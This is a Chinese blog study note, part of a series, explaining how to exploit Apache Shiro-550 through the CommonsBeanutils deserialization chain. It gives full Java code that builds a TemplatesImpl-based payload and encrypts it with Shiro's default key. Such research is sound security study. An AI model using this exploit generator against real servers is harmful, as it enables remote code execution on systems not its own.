• 反序列化Gadget学习篇九 CommonBeanutils与shiro


    serialVersionUID

    如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的serialVersionUID值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的serialVersionUID不同,则反序列化就会异常退出,避免后续的未知隐患。
    遇到serialVersionUID的报错,保证两端依赖的jar包版本向同即可

    思路

    前面的CC链都需要目标环境中有CommonCollections的包,对于shiro-550这种很常用的漏洞,如果没有CommonCollections,能否用其他方法利用,比如用CommonBeanutils。
    最简单的shiro项目,需要包含:

    1. shiro-core、shiro-web,这是shiro本身的依赖
    2. javax.servlet-api、jsp-api,这是JSP和Servlet的依赖,仅在编译阶段使用,因为Tomcat中自带这两个依赖
    3. slf4j-api、slf4j-simple,这是为了显示shiro中的报错信息添加的依赖
    4. commons-logging,这是shiro中用到的一个接口,不添加会爆java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory错误

    在只有这几个必要依赖的情况下,查看lib库发现默认是带有commons-beanutils的:

    说明shiro本身就依赖beanutils库,直接使用上一篇的payload打一下发现报错:

    Unable to load class named [
    org.apache.commons.collections.comparators.ComparableComparator]

    找不到这个类,说明虽然默认依赖了beanutils,但是并不完整,查看一下哪里用到了这个类。

    初始化BeanComparator时,没有传入一个比较器,就会默认调用
    org.apache.commons.collections.comparators.ComparableComparator作为比较器,那就需要一个新的比较器,要求:

    1. 实现java.util.Comparator接口
    2. 实现java.io.Serializable接口
    3. 在jdk或者shiro或者CommonBeanutils中自带

    在实现了java.util.Comparator中寻找,找到的是java.lang.String.CaseInsensitiveComparator。jdk自带,兼容性强,相关代码:

    public static final Comparator<String> CASE_INSENSITIVE_ORDER
                                             = new CaseInsensitiveComparator();
        private static class CaseInsensitiveComparator
                implements Comparator<String>, java.io.Serializable {
            // use serialVersionUID from JDK 1.2.2 for interoperability
            private static final long serialVersionUID = 8575799808933029326L;
    
            public int compare(String s1, String s2) {
                int n1 = s1.length();
                int n2 = s2.length();
                int min = Math.min(n1, n2);
                for (int i = 0; i < min; i++) {
                    char c1 = s1.charAt(i);
                    char c2 = s2.charAt(i);
                    if (c1 != c2) {
                        c1 = Character.toUpperCase(c1);
                        c2 = Character.toUpperCase(c2);
                        if (c1 != c2) {
                            c1 = Character.toLowerCase(c1);
                            c2 = Character.toLowerCase(c2);
                            if (c1 != c2) {
                                // No overflow because of numeric promotion
                                return c1 - c2;
                            }
                        }
                    }
                }
                return n1 - n2;
            }
    
            /** Replaces the de-serialized object. */
            private Object readResolve() { return CASE_INSENSITIVE_ORDER; }
        }
    
    

    也就是通过String的静态属性CASE_INSENSITIVE_ORDER就可以获取到一个CaseInsensitiveComparator的对象
    用这个对象来实例化一个BeanComparator

    final BeanComparator comparator=new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
    

    其他代码与正常的beanutils链相同,注意吧queue.add("1")添加到队列里的1变成字符串,因为使用的是字符串比较器,不能比较整数。生成的结果即可用来攻击shiro
    完整代码:

    package changez.sec.CommonBeanutils;
    
    import changez.sec.shiro.CommonCollectionsK1;
    import changez.sec.shiro.Evil;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import javassist.ClassPool;
    import javassist.CtClass;
    import org.apache.commons.beanutils.BeanComparator;
    import org.apache.shiro.crypto.AesCipherService;
    import org.apache.shiro.util.ByteSource;
    
    import java.io.ByteArrayOutputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.util.PriorityQueue;
    import java.util.Queue;
    
    public class shiro_beanutils {
    
        public static void main(String[] args) throws Exception {
            byte[] payload = getPayload();
    
            AesCipherService aes = new AesCipherService();
            byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
            ByteSource cipheretext = aes.encrypt(payload,key);
            System.out.println(cipheretext);
    
        }
    
        public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
            Field f1 = obj.getClass().getDeclaredField(fieldName);
            f1.setAccessible(true);
            f1.set(obj, value);
        }
    
    
        public static byte[] getPayload() throws Exception {
            TemplatesImpl obj = new TemplatesImpl();
            setFieldValue(obj, "_bytecodes", new byte[][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()});
            setFieldValue(obj, "_name", "HelloTemplatesImpl");
            setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
    
            final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER );
            final PriorityQueue queue = new PriorityQueue(2, comparator);
            queue.add("1");
            queue.add("1");
    
            setFieldValue(comparator, "property", "outputProperties");
            setFieldValue(queue, "queue", new Object[]{obj, obj});
    
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(queue);
            oos.close();
    
            return barr.toByteArray();
        }
    }
    

  • 相关阅读:
    调试 Android* x86 应用程序的方法以及要使用的工具
    android 获取手机信息工具类
    Android 布局自适应屏幕
    php &amp; 和 &amp;amp; (主要是url 问题)
    系统的BIOS与系统安装
    ios的设计原则
    POJ 2409 Let it Bead(Polya简单应用)
    鸿学金信风控具体介绍
    Linux高性能server编程——I/O复用
    WCF问题集锦:未依照DataMember定义的名称序列化对象
  • 原文地址:https://www.cnblogs.com/chengez/p/beanutil_shiro550.html
Copyright © 2020-2023  润新知